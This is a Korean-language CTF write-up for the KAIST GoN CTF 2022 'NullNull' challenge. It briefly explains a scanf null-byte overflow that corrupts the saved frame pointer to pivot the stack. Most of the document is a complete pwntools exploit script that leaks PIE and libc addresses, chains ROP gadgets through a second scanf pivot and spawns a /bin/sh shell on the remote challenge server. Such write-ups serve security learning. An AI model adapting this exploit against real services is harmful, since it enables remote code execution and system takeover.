[CTF write up] KAIST GoN CTF 2022 - NullNull : Null byte Poisoning to Stack Pivot (2022 Spring GoN Open Qual CTF)
2022. 5. 11. 00:45ㆍCTF write up
scanf에서 마지막에 Null 바이트가 붙는 것 때문에 1바이트 오버플로우가 발생한다. 이걸로 SFP의 값 하위 1바이트를 0x00으로 바꾸어주면 RBP 값을 낮은 주소로 위조할 수 있다. 일반적으로 스택의 변수를 참조할때 RBP 값을 기준으로 참조하기 때문에 변수에 데이터를 쓰는 부분에서 더 낮은 스택 주소에 데이터를 쓸 수 있게 되고 결과적으로 RET를 오버라이트할 수 있다.
익스할 때 주의할 점이 좀 있는데 일단 RBP를 오프셋 기준으로 위조하는게 아니라 그냥 NULL 바이트로 오버라이트 하는 것이기 때문에 위조된 RBP의 주소는 랜덤하다. 그렇기 때문에 익스를 될 때까지 여러번 해줘야 한다. 그외에도 RET 부분에 ROP 체인을 쌓을 때 scanf를 이용해서 추가적인 stack pivot을 해줘야 하는데 이때 scanf는 system 함수처럼 스택 정렬을 해줘야한다. 또한 입력하는 메모리 주소에 scanf를 정지시키는 문자열이 있을 수도 있기 때문에 이 부분도 고려해주어야 한다. 나는 BSS 값을 넣을때 0x20값이 포함되어 있어서 꽤 고생했다..
from pwn import *
#context.log_level = 'debug'
def command_aar(offset):
p.sendline(b'3')
p.sendline(str(offset).encode())
def command_aaw(offset,content):
p.sendline(b'2')
p.sendline(str(offset).encode())
p.sendline(str(content).encode())
def command_scanf(content):
p.sendline(b'1')
p.send(content)
while(True):
#p = process('nullnull')
p = remote('host1.dreamhack.games',21841)
command_scanf(b'a'*75+b'12345')
p.recvuntil(b'12345\n')
command_aar(3)
try:
lic = int(p.recvn(14))
print(hex(lic))
break
except:
p.close()
pie_base = lic - 0x0000000000001249
raw_input()
ROP_chain = []
ROP_chain.append(pie_base + 0x000000000004020 + 0x110) # bss
ROP_chain.append(pie_base + 0x00000000000014e3) # pop rdi
ROP_chain.append(pie_base + 0x000000000003FA8) # puts got
ROP_chain.append(pie_base + 0x00000000000010C0) # puts plt
ROP_chain.append(pie_base + 0x00000000000014e3) # pop rdi
ROP_chain.append(pie_base + 0x0000000000002009) # %80s
ROP_chain.append(pie_base + 0x00000000000014e1) # pop rsi r15
ROP_chain.append(pie_base + 0x000000000004020 +0x110) # bss
ROP_chain.append(0x1) # dummy
ROP_chain.append(pie_base + 0x00000000000013BC) # ret
ROP_chain.append(pie_base + 0x000000000001110) # scanf
ROP_chain.append(pie_base + 0x00000000000013FD) # leave ret
print(len(ROP_chain))
for i in range(0,len(ROP_chain)):
command_aaw(i+2,ROP_chain[i])
p.sendline(b'0')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr-0x84450
print(hex(puts_addr))
payload = b''
payload += b'/bin/sh\x00'
payload += p64(pie_base + 0x00000000000014e3)
payload += p64(pie_base + 0x000000000004020 + 0x110 )
payload += p64(pie_base + 0x00000000000014e1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc_base + 0x00000000000e31a4)
p.sendline(payload)
p.interactive()